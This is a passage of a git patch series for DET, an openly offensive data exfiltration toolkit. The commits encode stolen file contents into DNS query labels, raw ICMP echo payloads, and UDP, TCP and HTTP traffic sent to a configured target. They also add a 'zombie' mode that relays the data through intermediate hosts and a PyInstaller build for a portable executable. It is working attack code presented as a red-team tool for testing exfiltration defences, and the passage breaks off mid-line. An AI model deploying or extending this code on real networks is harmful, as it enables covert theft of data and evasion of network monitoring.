From e28acd6f98bbf4036beac02eae339df35b5a445f Mon Sep 17 00:00:00 2001 From: Yassine Tioual Date: Tue, 21 Mar 2017 10:22:37 +0100 Subject: [PATCH 01/43] Packet reordering before file retrieval --- det.py | 5 ++++- 1 file changed, 4 insertions(+), 1 deletion(-) diff --git a/det.py b/det.py index 565426e..81da068 100644 --- a/det.py +++ b/det.py @@ -189,6 +189,9 @@ def retrieve_file(self, jobid): fname = files[jobid]['filename'] filename = "%s.%s" % (fname.replace( os.path.pathsep, ''), time.strftime("%Y-%m-%d.%H:%M:%S", time.gmtime())) + #Reorder packets before reassembling / ugly one-liner hack + files[jobid]['packets_number'], files[jobid]['data'] = \ + [list(x) for x in zip(*sorted(zip(files[jobid]['packets_number'], files[jobid]['data'])))] content = ''.join(str(v) for v in files[jobid]['data']).decode('hex') content = aes_decrypt(content, self.KEY) if COMPRESSION: @@ -222,7 +225,7 @@ def retrieve_data(self, data): # making sure there's a jobid for this file if (jobid in files and message[1] not in files[jobid]['packets_number']): files[jobid]['data'].append(''.join(message[2:])) - files[jobid]['packets_number'].append(message[1]) + files[jobid]['packets_number'].append(int(message[1])) except: raise pass From 45ab12a17ebd1ad9537ff68ee613ab94d6b30291 Mon Sep 17 00:00:00 2001 From: Yassine Tioual Date: Tue, 21 Mar 2017 10:30:05 +0100 Subject: [PATCH 02/43] Handling missing packets --- det.py | 11 ++++++++++- 1 file changed, 10 insertions(+), 1 deletion(-) diff --git a/det.py b/det.py index 81da068..914a418 100644 --- a/det.py +++ b/det.py @@ -181,6 +181,7 @@ def register_file(self, message): files[jobid]['filename'] = message[1].lower() files[jobid]['data'] = [] files[jobid]['packets_number'] = [] + files[jobid]['packets_len'] = -1 warning("Register packet for file %s with checksum %s" % (files[jobid]['filename'], files[jobid]['checksum'])) @@ -219,13 +220,21 @@ def retrieve_data(self, data): self.register_file(message) # done packet elif (message[2] == "DONE"): - self.retrieve_file(jobid) + files[jobid]['packets_len'] = int(message[1]) + #Check if all packets have arrived + if files[jobid]['packets_len'] == len(files[jobid]['data']): + self.retrieve_file(jobid) + else: + warning("[!] Received the last packet, but some are still missing. Waiting for the rest...") # data packet else: # making sure there's a jobid for this file if (jobid in files and message[1] not in files[jobid]['packets_number']): files[jobid]['data'].append(''.join(message[2:])) files[jobid]['packets_number'].append(int(message[1])) + #In case this packet was the last missing one + if files[jobid]['packets_len'] == len(files[jobid]['data']): + self.retrieve_file(jobid) except: raise pass From 9f4d7f32e0e74740ac745fec7c2d86bbdbbf133b Mon Sep 17 00:00:00 2001 From: Yassine Tioual Date: Wed, 22 Mar 2017 11:08:37 +0100 Subject: [PATCH 03/43] Improve DNS plugin - Payload is encoded in a 253 characters-long DNS query - Payload is encoded on multiple labels of (max.) 63 characters - Less data is sent over the wire due to less redundant information --- plugins/dns.py | 46 ++++++++++++++++++++++++++++++++++------------ 1 file changed, 34 insertions(+), 12 deletions(-) diff --git a/plugins/dns.py b/plugins/dns.py index 03207db..659b305 100644 --- a/plugins/dns.py +++ b/plugins/dns.py @@ -8,7 +8,6 @@ config = None buf = {} - def handle_dns_packet(x): global buf try: @@ -16,42 +15,65 @@ def handle_dns_packet(x): if (config['key'] in qname): app_exfiltrate.log_message( 'info', '[dns] DNS Query: {0}'.format(qname)) - data = qname.split(".")[0] - jobid = data[0:7] - data = data.replace(jobid, '') + jobid = qname[0:7] + data = ''.join(qname[7:].replace(config['key'], '').split('.')) # app_exfiltrate.log_message('info', '[dns] jobid = {0}'.format(jobid)) # app_exfiltrate.log_message('info', '[dns] data = {0}'.format(data)) if jobid not in buf: buf[jobid] = [] if data not in buf[jobid]: buf[jobid].append(data) - if (len(qname) < 68): + #Handle the case where the last label's length == 1 + last_label_len = (252 - len(config['key'])) % 64 + max_query = 252 if last_label_len == 1 else 253 + if (len(qname) < max_query): app_exfiltrate.retrieve_data(''.join(buf[jobid]).decode('hex')) buf[jobid] = [] except Exception, e: # print e pass - +#Send data over multiple labels (RFC 1034) +#Max query is 253 characters long (textual representation) +#Max label length is 63 bytes def send(data): target = config['target'] port = config['port'] jobid = data.split("|!|")[0] data = data.encode('hex') + domain = "" + + #Calculate the remaining length available for our payload + rem = 252 - len(config['key']) + #Number of 63 bytes labels + no_labels = rem / 64 #( 63 + len('.') ) + #Length of the last remaining label + last_label_len = (rem % 64) - 1 + while data != "": - tmp = data[:66 - len(config['key']) - len(jobid)] - data = data.replace(tmp, '') - domain = "{0}{1}.{2}".format(jobid, tmp, config['key']) - app_exfiltrate.log_message( - 'info', "[dns] Sending {0} to {1}".format(domain, target)) + data = jobid + data + for i in range(0, no_labels): + if data == "": break + label = data[:63] + data = data[63:] + domain += label + '.' + if data == "": + domain += config['key'] + else: + if last_label_len < 1: + domain += config['key'] + else: + label = data[:last_label_len] + data = data[last_label_len:] + domain += label + '.' + config['key'] q = DNSRecord.question(domain) + domain = "" try: q.send(target, port, timeout=0.01) except: # app_exfiltrate.log_message('warning', "[dns] Failed to send DNS request") pass - def listen(): app_exfiltrate.log_message( 'info', "[dns] Waiting for DNS packets for domain {0}".format(config['key'])) From a7221f0b213a18f4421ce79b7ed5eafe663038d7 Mon Sep 17 00:00:00 2001 From: Yassine Tioual Date: Mon, 27 Mar 2017 11:07:49 +0200 Subject: [PATCH 04/43] Sending icmp packets with sockets instead of scapy --- plugins/icmp.py | 50 +++++++++++++++++++++++++++++++++++++++++++++---- 1 file changed, 46 insertions(+), 4 deletions(-) diff --git a/plugins/icmp.py b/plugins/icmp.py index 9b93a4e..b25d421 100644 --- a/plugins/icmp.py +++ b/plugins/icmp.py @@ -2,18 +2,61 @@ logging.getLogger("scapy.runtime").setLevel(logging.ERROR) from scapy import all as scapy import base64 +import socket +from struct import pack config = None app_exfiltrate = None +# http://wiki.dreamrunner.org/public_html/Python/Python-Things.html +def checksum(source_string): + sum = 0 + countTo = (len(source_string)/2)*2 + count = 0 + while count> 16) + (sum & 0xffff) + sum = sum + (sum >> 16) + answer = ~sum + answer = answer & 0xffff + answer = answer >> 8 | (answer << 8 & 0xff00) + return answer +# end of copy-paste + +def send_icmp(dst, data): + try: + s = socket.socket(socket.AF_INET, socket.SOCK_RAW, socket.IPPROTO_ICMP) + except: + print "root power you must have !" + sys.exit() + ip_src = socket.gethostbyname(socket.getfqdn()) + ip_dst = socket.gethostbyname(dst) + + icmp_type = 8 + icmp_code = 0 + icmp_sum = 0 + icmp_id = 1 + icmp_seq = 1 + + icmp_hdr = pack('!BBHHH', icmp_type, icmp_code, icmp_sum, icmp_id, icmp_seq) + icmp_sum = checksum(icmp_hdr + data) + icmp_hdr = pack('!BBHHH', icmp_type, icmp_code, icmp_sum, icmp_id, icmp_seq) + packet = icmp_hdr + data + s.sendto(packet, (ip_dst, 0)) + s.close() def send(data): data = base64.b64encode(data) app_exfiltrate.log_message( 'info', "[icmp] Sending {} bytes with ICMP packet".format(len(data))) - scapy.sendp(scapy.Ether() / - scapy.IP(dst=config['target']) / scapy.ICMP() / data, verbose=0) - + send_icmp(config['target'], data) def listen(): app_exfiltrate.log_message('info', "[icmp] Listening for ICMP packets..") @@ -33,7 +76,6 @@ def analyze(packet): class Plugin: - def __init__(self, app, conf): global app_exfiltrate, config app_exfiltrate = app From 23e82af306a82e267ca89c0baf4f8011ccb1897d Mon Sep 17 00:00:00 2001 From: Yassine Tioual Date: Mon, 27 Mar 2017 11:12:07 +0200 Subject: [PATCH 05/43] PyInstaller portability fix - Place the executable in the the folder it extracts to - Ability to read the plugins and config file that are shipped into the executable --- det.py | 3 +++ 1 file changed, 3 insertions(+) diff --git a/det.py b/det.py index 914a418..2661c62 100644 --- a/det.py +++ b/det.py @@ -16,6 +16,9 @@ from Crypto.Cipher import AES from zlib import compress, decompress +if getattr(sys, 'frozen', False): + os.chdir(sys._MEIPASS) + KEY = "" MIN_TIME_SLEEP = 1 MAX_TIME_SLEEP = 30 From e63652e1b425f257b29b4e5a6e1b3e23f77377b3 Mon Sep 17 00:00:00 2001 From: Yassine Tioual Date: Mon, 27 Mar 2017 14:51:06 +0200 Subject: [PATCH 06/43] ICMP requests sniffing with sockets --- plugins/icmp.py | 29 +++++++++++++++++++++-------- 1 file changed, 21 insertions(+), 8 deletions(-) diff --git a/plugins/icmp.py b/plugins/icmp.py index b25d421..7f0be0e 100644 --- a/plugins/icmp.py +++ b/plugins/icmp.py @@ -1,6 +1,4 @@ import logging -logging.getLogger("scapy.runtime").setLevel(logging.ERROR) -from scapy import all as scapy import base64 import socket from struct import pack @@ -61,20 +59,35 @@ def send(data): def listen(): app_exfiltrate.log_message('info', "[icmp] Listening for ICMP packets..") # Filter for echo requests only to prevent capturing generated replies - scapy.sniff(filter="icmp and icmp[0]=8", prn=analyze) + sniff() +def sniff(): + """ Sniffs packets and looks for icmp requests """ + sock = socket.socket(socket.AF_INET, socket.SOCK_RAW, socket.IPPROTO_ICMP) + sock.bind(('', 1)) + try: + while True : + data = sock.recv(65536) + ip_ihl = ord(data[:1]) & 0x0f + ip_hdr = data[:(ip_ihl)*4] + icmp_data = data[(ip_ihl)*4:] + icmp_type = icmp_data[:1] + if icmp_type == '\x08': + ip_src = socket.inet_ntoa(ip_hdr[-8:-4]) + ip_dst = socket.inet_ntoa(ip_hdr[-4:]) + payload = icmp_data[4:] + analyze(payload, ip_src, ip_dst) + except: + sock.close() -def analyze(packet): - src = packet.payload.src - dst = packet.payload.dst +def analyze(payload, src, dst): try: app_exfiltrate.log_message( 'info', "[icmp] Received ICMP packet from: {0} to {1}".format(src, dst)) - app_exfiltrate.retrieve_data(base64.b64decode(packet.load)) + app_exfiltrate.retrieve_data(base64.b64decode(payload)) except: pass - class Plugin: def __init__(self, app, conf): global app_exfiltrate, config From 04aa224b4991a7f8e6b590b778850b0c0ceffb33 Mon Sep 17 00:00:00 2001 From: Yassine Tioual Date: Wed, 29 Mar 2017 15:49:28 +0200 Subject: [PATCH 07/43] Replace scapy with socket/dpkt in DNS plugin --- plugins/dns.py | 29 ++++++++++++++++++++--------- 1 file changed, 20 insertions(+), 9 deletions(-) diff --git a/plugins/dns.py b/plugins/dns.py index 659b305..0eeac79 100644 --- a/plugins/dns.py +++ b/plugins/dns.py @@ -1,17 +1,14 @@ -from dnslib import * -try: - from scapy.all import * -except: - print "You should install Scapy if you run the server.." +from dnslib import DNSRecord +import socket +from dpkt import dns app_exfiltrate = None config = None buf = {} -def handle_dns_packet(x): +def handle_dns_query(qname): global buf try: - qname = x.payload.payload.payload.qd.qname if (config['key'] in qname): app_exfiltrate.log_message( 'info', '[dns] DNS Query: {0}'.format(qname)) @@ -77,9 +74,23 @@ def send(data): def listen(): app_exfiltrate.log_message( 'info', "[dns] Waiting for DNS packets for domain {0}".format(config['key'])) - sniff(filter="udp and port {}".format( - config['port']), prn=handle_dns_packet) + sniff() +def sniff(): + sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM) + IP = "0.0.0.0" + PORT = 53 + sock.bind((IP, PORT)) + while True: + try: + data, addr = sock.recvfrom(65536) + #query = dpkt.dns.DNS(data) + query = dns.DNS(data) + for qname in query.qd: + handle_dns_query(qname.name + '.') + except: + sock.shutdown() + sock.close() class Plugin: From bc94d71b95ccd69470de20638a70747d96c99c71 Mon Sep 17 00:00:00 2001 From: Yassine Tioual Date: Wed, 29 Mar 2017 15:54:27 +0200 Subject: [PATCH 08/43] Add PyInstaller .spec file --- det.spec | 30 ++++++++++++++++++++++++++++++ 1 file changed, 30 insertions(+) create mode 100644 det.spec diff --git a/det.spec b/det.spec new file mode 100644 index 0000000..033f942 --- /dev/null +++ b/det.spec @@ -0,0 +1,30 @@ +# -*- mode: python -*- + +block_cipher = None + +import sys +sys.modules['FixTk'] = None + +a = Analysis(['det.py'], + pathex=['/home/nisay/DET-conix'], + binaries=[], + datas=[('plugins', 'plugins'), ('config-sample.json', '.')], + hiddenimports=['plugins/dns', 'plugins/icmp'], + hookspath=[], + runtime_hooks=[], + excludes=['FixTk', 'tcl', 'tk', '_tkinter', 'tkinter', 'Tkinter'], + win_no_prefer_redirects=False, + win_private_assemblies=False, + cipher=block_cipher) +pyz = PYZ(a.pure, a.zipped_data, + cipher=block_cipher) +exe = EXE(pyz, + a.scripts, + a.binaries, + a.zipfiles, + a.datas, + name='det', + debug=False, + strip=False, + upx=True, + console=True ) From 95bf40b6870464096d7311a1e3354003628c5776 Mon Sep 17 00:00:00 2001 From: Yassine Tioual Date: Thu, 30 Mar 2017 18:12:23 +0200 Subject: [PATCH 09/43] Add support for zombie mode - Multi-host data exfiltration mode --- det.py | 14 ++++++++++---- 1 file changed, 10 insertions(+), 4 deletions(-) diff --git a/det.py b/det.py index 2661c62..bee6aaa 100644 --- a/det.py +++ b/det.py @@ -326,8 +326,11 @@ def main(): default=None, help="Plugins to use (eg. '-p dns,twitter')") parser.add_argument('-e', action="store", dest="exclude", default=None, help="Plugins to exclude (eg. '-e gmail,icmp')") - parser.add_argument('-L', action="store_true", + listenMode = parser.add_mutually_exclusive_group() + listenMode.add_argument('-L', action="store_true", dest="listen", default=False, help="Server mode") + listenMode.add_argument('-Z', action="store_true", + dest="zombie", default=False, help="Zombie mode") results = parser.parse_args() if (results.config is None): @@ -350,12 +353,15 @@ def main(): KEY = config['AES_KEY'] app = Exfiltration(results, KEY) - # LISTEN MODE - if (results.listen): + # LISTEN/ZOMBIE MODE + if (results.listen or results.zombie): threads = [] plugins = app.get_plugins() for plugin in plugins: - thread = threading.Thread(target=plugins[plugin]['listen']) + if results.listen: + thread = threading.Thread(target=plugins[plugin]['listen']) + elif results.zombie: + thread = threading.Thread(target=plugins[plugin]['zombie']) thread.daemon = True thread.start() threads.append(thread) From 8330c893501c916db9ed6243fa4c2be57eba5f76 Mon Sep 17 00:00:00 2001 From: Yassine Tioual Date: Thu, 30 Mar 2017 18:13:31 +0200 Subject: [PATCH 10/43] Implement zombie mode in DNS plugin --- plugins/dns.py | 55 +++++++++++++++++++++++++++++++----------------- requirements.txt | 3 ++- 2 files changed, 38 insertions(+), 20 deletions(-) diff --git a/plugins/dns.py b/plugins/dns.py index 0eeac79..09fadf2 100644 --- a/plugins/dns.py +++ b/plugins/dns.py @@ -1,6 +1,7 @@ from dnslib import DNSRecord import socket from dpkt import dns +from random import choice app_exfiltrate = None config = None @@ -30,11 +31,37 @@ def handle_dns_query(qname): # print e pass +def relay_dns_query(domain): + target = config['target'] + port = config['port'] + app_exfiltrate.log_message( + 'info', "[zombie] [dns] Relaying dns query to {0}".format(target)) + q = DNSRecord.question(domain) + try: + q.send(target, port, timeout=0.01) + except: + pass + +def sniff(handler): + sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM) + IP = "0.0.0.0" + PORT = 53 + sock.bind((IP, PORT)) + while True: + try: + data, addr = sock.recvfrom(65536) + query = dns.DNS(data) + for qname in query.qd: + handler(qname.name + '.') + except: + sock.shutdown() + sock.close() + #Send data over multiple labels (RFC 1034) #Max query is 253 characters long (textual representation) #Max label length is 63 bytes def send(data): - target = config['target'] + targets = config['zombies'] + [config['target']] port = config['port'] jobid = data.split("|!|")[0] data = data.encode('hex') @@ -65,6 +92,8 @@ def send(data): domain += label + '.' + config['key'] q = DNSRecord.question(domain) domain = "" + target = choice(targets) + print 'sending to ' + str(target) try: q.send(target, port, timeout=0.01) except: @@ -74,28 +103,16 @@ def send(data): def listen(): app_exfiltrate.log_message( 'info', "[dns] Waiting for DNS packets for domain {0}".format(config['key'])) - sniff() + sniff(handler=handle_dns_query) -def sniff(): - sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM) - IP = "0.0.0.0" - PORT = 53 - sock.bind((IP, PORT)) - while True: - try: - data, addr = sock.recvfrom(65536) - #query = dpkt.dns.DNS(data) - query = dns.DNS(data) - for qname in query.qd: - handle_dns_query(qname.name + '.') - except: - sock.shutdown() - sock.close() +def zombie(): + app_exfiltrate.log_message( + 'info', "[zombie] [dns] Waiting for DNS packets for domain {0}".format(config['key'])) + sniff(handler=relay_dns_query) class Plugin: - def __init__(self, app, conf): global app_exfiltrate, config config = conf - app.register_plugin('dns', {'send': send, 'listen': listen}) + app.register_plugin('dns', {'send': send, 'listen': listen, 'zombie': zombie}) app_exfiltrate = app diff --git a/requirements.txt b/requirements.txt index 8dc9e9f..de58f25 100644 --- a/requirements.txt +++ b/requirements.txt @@ -3,4 +3,5 @@ scapy pysocks dnslib pycrypto -slackclient \ No newline at end of file +slackclient +dpkt From 34b0286966aadf516e2614f9846d64c51004cf89 Mon Sep 17 00:00:00 2001 From: Yassine Tioual Date: Thu, 30 Mar 2017 18:14:11 +0200 Subject: [PATCH 11/43] Update README and config files --- .gitignore | 4 +++- README.md | 12 ++++++++++-- config-sample.json | 3 ++- det.spec | 2 +- 4 files changed, 16 insertions(+), 5 deletions(-) diff --git a/.gitignore b/.gitignore index 2ce9826..5c86003 100644 --- a/.gitignore +++ b/.gitignore @@ -1,2 +1,4 @@ *.pyc -*.pem \ No newline at end of file +*.pem +build +dist diff --git a/README.md b/README.md index 783ef63..86cae38 100644 --- a/README.md +++ b/README.md @@ -36,7 +36,7 @@ Slides are available [here](https://docs.google.com/presentation/d/11uk6d-xougn3 Clone the repo: ```bash -git clone https://github.com/sensepost/DET.git +git clone https://github.com/conix-security/DET.git ``` Then: @@ -115,6 +115,7 @@ optional arguments: -p PLUGIN Plugins to use (eg. '-p dns,twitter') -e EXCLUDE Plugins to exclude (eg. '-e gmail,icmp') -L Server mode + -Z Zombie mode ``` ## Server-side: @@ -164,6 +165,12 @@ PS C:\Users\user01\Desktop> . .\http_exfil.ps1 PS C:\Users\user01\Desktop> HTTP-exfil 'C:\path\to\file.exe' ``` +## Zombie mode: + +In this mode the client is also a server. + +The zombie waits for incoming packets, and relays them to the final server. + # Modules So far, DET supports multiple protocols, listed here: @@ -192,6 +199,7 @@ So far, I am busy implementing new modules which are almost ready to ship, inclu - [X] Add proper encryption (eg. AES-256) Thanks to [ryanohoro](https://github.com/ryanohoro) - [X] Compression (extremely important!) Thanks to [chokepoint](https://github.com/chokepoint) +- [X] Add support for C&C-like multi-host file exfiltration (Zombie mode) - [ ] Proper data obfuscation and integrating [Cloakify Toolset Toolset](https://github.com/trycatchhcf/cloakify) - [ ] FTP, FlickR [LSB Steganography](https://github.com/RobinDavid/LSB-Steganography) and Youtube modules @@ -214,4 +222,4 @@ Feel free if you want to contribute, clone, fork, submit your PR and so on. # License DET is licensed under a [MIT License](https://opensource.org/licenses/MIT). -Permissions beyond the scope of this license may be available at [info@sensepost.com](info@sensepost.com) \ No newline at end of file +Permissions beyond the scope of this license may be available at [info@sensepost.com](info@sensepost.com) diff --git a/config-sample.json b/config-sample.json index 5976930..750ff8f 100644 --- a/config-sample.json +++ b/config-sample.json @@ -11,7 +11,8 @@ "dns": { "key": "google.com", "target": "192.168.0.12", - "port": 53 + "port": 53, + "zombies": ["192.168.0.13", "192.168.0.14"] }, "gmail": { "username": "dataexfil@gmail.com", diff --git a/det.spec b/det.spec index 033f942..7f281b4 100644 --- a/det.spec +++ b/det.spec @@ -6,7 +6,7 @@ import sys sys.modules['FixTk'] = None a = Analysis(['det.py'], - pathex=['/home/nisay/DET-conix'], + pathex=['.'], binaries=[], datas=[('plugins', 'plugins'), ('config-sample.json', '.')], hiddenimports=['plugins/dns', 'plugins/icmp'], From 0459ec17198891880ee29d52b72aa883ebf15fb4 Mon Sep 17 00:00:00 2001 From: Paul Date: Fri, 31 Mar 2017 10:15:06 +0200 Subject: [PATCH 12/43] Added BlackHat Arsenal badge --- README.md | 4 +++- 1 file changed, 3 insertions(+), 1 deletion(-) diff --git a/README.md b/README.md index 783ef63..4e03aac 100644 --- a/README.md +++ b/README.md @@ -1,3 +1,5 @@ +[![Black Hat Arsenal](https://www.toolswatch.org/badges/arsenal/2016.svg)](https://www.toolswatch.org/blackhat-arsenal-us-2016-archive/) + DET (extensible) Data Exfiltration Toolkit ======= @@ -214,4 +216,4 @@ Feel free if you want to contribute, clone, fork, submit your PR and so on. # License DET is licensed under a [MIT License](https://opensource.org/licenses/MIT). -Permissions beyond the scope of this license may be available at [info@sensepost.com](info@sensepost.com) \ No newline at end of file +Permissions beyond the scope of this license may be available at [info@sensepost.com](info@sensepost.com) From 2a3fdc6c0ab28a9f318e2ac8290cd1be3dd790b8 Mon Sep 17 00:00:00 2001 From: Yassine Tioual Date: Fri, 31 Mar 2017 12:32:40 +0200 Subject: [PATCH 13/43] Implement zombie mode in ICMP plugin --- config-sample.json | 3 ++- plugins/icmp.py | 47 +++++++++++++++++++++++++++++++--------------- 2 files changed, 34 insertions(+), 16 deletions(-) diff --git a/config-sample.json b/config-sample.json index 750ff8f..3fd167d 100644 --- a/config-sample.json +++ b/config-sample.json @@ -36,7 +36,8 @@ "ACCESS_TOKEN_SECRET": "XXXXXXXXXXX" }, "icmp": { - "target": "192.168.0.12" + "target": "192.168.0.12", + "zombies": ["192.168.0.13", "192.168.0.14"] }, "slack": { "api_token": "xoxb-XXXXXXXXXXX", diff --git a/plugins/icmp.py b/plugins/icmp.py index 7f0be0e..ee80a45 100644 --- a/plugins/icmp.py +++ b/plugins/icmp.py @@ -2,6 +2,7 @@ import base64 import socket from struct import pack +from random import choice config = None app_exfiltrate = None @@ -34,39 +35,41 @@ def send_icmp(dst, data): except: print "root power you must have !" sys.exit() - ip_src = socket.gethostbyname(socket.getfqdn()) ip_dst = socket.gethostbyname(dst) - icmp_type = 8 icmp_code = 0 icmp_sum = 0 icmp_id = 1 icmp_seq = 1 - icmp_hdr = pack('!BBHHH', icmp_type, icmp_code, icmp_sum, icmp_id, icmp_seq) icmp_sum = checksum(icmp_hdr + data) icmp_hdr = pack('!BBHHH', icmp_type, icmp_code, icmp_sum, icmp_id, icmp_seq) packet = icmp_hdr + data - s.sendto(packet, (ip_dst, 0)) + try: + s.sendto(packet, (ip_dst, 0)) + except: + pass s.close() def send(data): + targets = [config['target']] + config['zombies'] data = base64.b64encode(data) + target = choice(targets) app_exfiltrate.log_message( - 'info', "[icmp] Sending {} bytes with ICMP packet".format(len(data))) - send_icmp(config['target'], data) + 'info', "[icmp] Sending {0} bytes with ICMP packet to {1}".format(len(data), target)) + send_icmp(target, data) def listen(): app_exfiltrate.log_message('info', "[icmp] Listening for ICMP packets..") # Filter for echo requests only to prevent capturing generated replies - sniff() + sniff(handler=analyze) -def sniff(): +def sniff(handler): """ Sniffs packets and looks for icmp requests """ sock = socket.socket(socket.AF_INET, socket.SOCK_RAW, socket.IPPROTO_ICMP) sock.bind(('', 1)) - try: - while True : + while True : + try: data = sock.recv(65536) ip_ihl = ord(data[:1]) & 0x0f ip_hdr = data[:(ip_ihl)*4] @@ -76,21 +79,35 @@ def sniff(): ip_src = socket.inet_ntoa(ip_hdr[-8:-4]) ip_dst = socket.inet_ntoa(ip_hdr[-4:]) payload = icmp_data[4:] - analyze(payload, ip_src, ip_dst) - except: - sock.close() + handler(payload, ip_src, ip_dst) + except: + sock.close() def analyze(payload, src, dst): try: app_exfiltrate.log_message( - 'info', "[icmp] Received ICMP packet from: {0} to {1}".format(src, dst)) + 'info', "[icmp] Received ICMP packet from {0} to {1}".format(src, dst)) app_exfiltrate.retrieve_data(base64.b64decode(payload)) except: pass +def relay_icmp_packet(payload, src, dst): + target = config['target'] + try: + app_exfiltrate.log_message( + 'info', "[zombie] [icmp] Relaying icmp packet to {0}".format(target)) + send_icmp(target, payload) + except: + pass + +def zombie(): + app_exfiltrate.log_message( + 'info', "[zombie] [icmp] Listening for icmp packets") + sniff(handler=relay_icmp_packet) + class Plugin: def __init__(self, app, conf): global app_exfiltrate, config app_exfiltrate = app config = conf - app.register_plugin('icmp', {'send': send, 'listen': listen}) + app.register_plugin('icmp', {'send': send, 'listen': listen, 'zombie': zombie}) From 8ea6c5e91d945f49f31998234f84fa74290c7ef1 Mon Sep 17 00:00:00 2001 From: Yassine Tioual Date: Fri, 31 Mar 2017 17:43:38 +0200 Subject: [PATCH 14/43] Implement zombie mode in UDP plugin --- config-sample.json | 3 ++- plugins/udp.py | 26 ++++++++++++++++++++++---- 2 files changed, 24 insertions(+), 5 deletions(-) diff --git a/config-sample.json b/config-sample.json index 3fd167d..df31fe1 100644 --- a/config-sample.json +++ b/config-sample.json @@ -26,7 +26,8 @@ }, "udp": { "target": "192.168.0.12", - "port": 6969 + "port": 6969, + "zombies": ["192.168.0.13", "192.168.0.14"] }, "twitter": { "username": "PaulWebSec", diff --git a/plugins/udp.py b/plugins/udp.py index 7b950f4..d7e9a2b 100644 --- a/plugins/udp.py +++ b/plugins/udp.py @@ -1,20 +1,24 @@ import socket import sys +from random import choice config = None app_exfiltrate = None def send(data): - target = config['target'] + targets = [config['target']] + config['zombies'] + target = choice(targets) port = config['port'] app_exfiltrate.log_message( 'info', "[udp] Sending {0} bytes to {1}".format(len(data), target)) client_socket = socket.socket(socket.AF_INET, socket.SOCK_DGRAM) client_socket.sendto(data.encode('hex'), (target, port)) - def listen(): + sniff(handler=app_exfiltrate.retrieve_data) + +def sniff(handler): port = config['port'] sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM) @@ -40,7 +44,8 @@ def listen(): 'info', "[udp] Received {} bytes".format(len(data))) try: data = data.decode('hex') - app_exfiltrate.retrieve_data(data) + #app_exfiltrate.retrieve_data(data) + handler(data) except Exception, e: app_exfiltrate.log_message( 'warning', "[udp] Failed decoding message {}".format(e)) @@ -49,6 +54,19 @@ def listen(): finally: pass +def relay_dns_packet(data): + target = config['target'] + port = config['port'] + app_exfiltrate.log_message( + 'info', "[zombie] [udp] Relaying {0} bytes to {1}".format(len(data), target)) + client_socket = socket.socket(socket.AF_INET, socket.SOCK_DGRAM) + client_socket.sendto(data.encode('hex'), (target, port)) + +def zombie(): + app_exfiltrate.log_message( + 'info', "[zombie] [udp] Listening for udp packets") + sniff(handler=relay_dns_packet) + class Plugin: @@ -57,4 +75,4 @@ def __init__(self, app, conf): global app_exfiltrate config = conf app_exfiltrate = app - app.register_plugin('udp', {'send': send, 'listen': listen}) + app.register_plugin('udp', {'send': send, 'listen': listen, 'zombie': zombie}) From 3b66047889c116d002437e55fe6e4c4436718112 Mon Sep 17 00:00:00 2001 From: Yassine Tioual Date: Fri, 31 Mar 2017 17:55:03 +0200 Subject: [PATCH 15/43] Implement zombie mode in TCP plugin --- config-sample.json | 3 ++- plugins/tcp.py | 27 ++++++++++++++++++++++----- 2 files changed, 24 insertions(+), 6 deletions(-) diff --git a/config-sample.json b/config-sample.json index df31fe1..e50f9e8 100644 --- a/config-sample.json +++ b/config-sample.json @@ -22,7 +22,8 @@ }, "tcp": { "target": "192.168.0.12", - "port": 6969 + "port": 6969, + "zombies": ["192.168.0.13", "192.168.0.14"] }, "udp": { "target": "192.168.0.12", diff --git a/plugins/tcp.py b/plugins/tcp.py index b8e06de..64bb0b0 100644 --- a/plugins/tcp.py +++ b/plugins/tcp.py @@ -1,12 +1,13 @@ import socket import sys +from random import choice config = None app_exfiltrate = None - def send(data): - target = config['target'] + targets = [config['target']] + config['zombies'] + target = choice(targets) port = config['port'] app_exfiltrate.log_message( 'info', "[tcp] Sending {0} bytes to {1}".format(len(data), target)) @@ -15,8 +16,10 @@ def send(data): client_socket.send(data.encode('hex')) client_socket.close() - def listen(): + sniff(handler=app_exfiltrate.retrieve_data) + +def sniff(handler): port = config['port'] sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) @@ -44,7 +47,8 @@ def listen(): 'info', "[tcp] Received {} bytes".format(len(data))) try: data = data.decode('hex') - app_exfiltrate.retrieve_data(data) + #app_exfiltrate.retrieve_data(data) + handler(data) except Exception, e: app_exfiltrate.log_message( 'warning', "[tcp] Failed decoding message {}".format(e)) @@ -53,6 +57,19 @@ def listen(): finally: connection.close() +def relay_tcp_packet(data): + target = config['target'] + port = config['port'] + app_exfiltrate.log_message( + 'info', "[zombie] [tcp] Relaying {0} bytes to {1}".format(len(data), target)) + client_socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM) + client_socket.connect((target, port)) + client_socket.send(data.encode('hex')) + client_socket.close() + +def zombie(): + app_exfiltrate.log_message('info', "[zombie] [tcp] Waiting for connections...") + sniff(handler=relay_tcp_packet) class Plugin: @@ -61,4 +78,4 @@ def __init__(self, app, conf): global app_exfiltrate config = conf app_exfiltrate = app - app.register_plugin('tcp', {'send': send, 'listen': listen}) \ No newline at end of file + app.register_plugin('tcp', {'send': send, 'listen': listen, 'zombie': zombie}) From e61099b4e8e008afecb4bd8fa378124644e29203 Mon Sep 17 00:00:00 2001 From: Yassine Tioual Date: Mon, 3 Apr 2017 10:53:10 +0200 Subject: [PATCH 16/43] Implement zombie mode in HTTP plugin --- config-sample.json | 3 ++- plugins/http.py | 33 ++++++++++++++++++++++----------- 2 files changed, 24 insertions(+), 12 deletions(-) diff --git a/config-sample.json b/config-sample.json index e50f9e8..d49fe2c 100644 --- a/config-sample.json +++ b/config-sample.json @@ -2,7 +2,8 @@ "plugins": { "http": { "target": "192.168.0.12", - "port": 8080 + "port": 8080, + "zombies": ["192.168.0.13", "192.168.0.14"] }, "google_docs": { "target": "conchwaiter.uk.plak.cc", diff --git a/plugins/http.py b/plugins/http.py index ea48e20..45c8294 100644 --- a/plugins/http.py +++ b/plugins/http.py @@ -2,13 +2,12 @@ import base64 from BaseHTTPServer import BaseHTTPRequestHandler, HTTPServer import urllib +from random import choice config = None app_exfiltrate = None - class S(BaseHTTPRequestHandler): - def _set_headers(self): self.send_response(200) self.send_header('Content-type', 'text/html') @@ -22,7 +21,7 @@ def do_POST(self): if (tmp[0] == "data"): try: data = base64.b64decode(urllib.unquote(tmp[1])) - app_exfiltrate.retrieve_data(data) + self.server.handler(data) except Exception, e: print e pass @@ -32,34 +31,46 @@ def do_GET(self): self._set_headers() try: data = 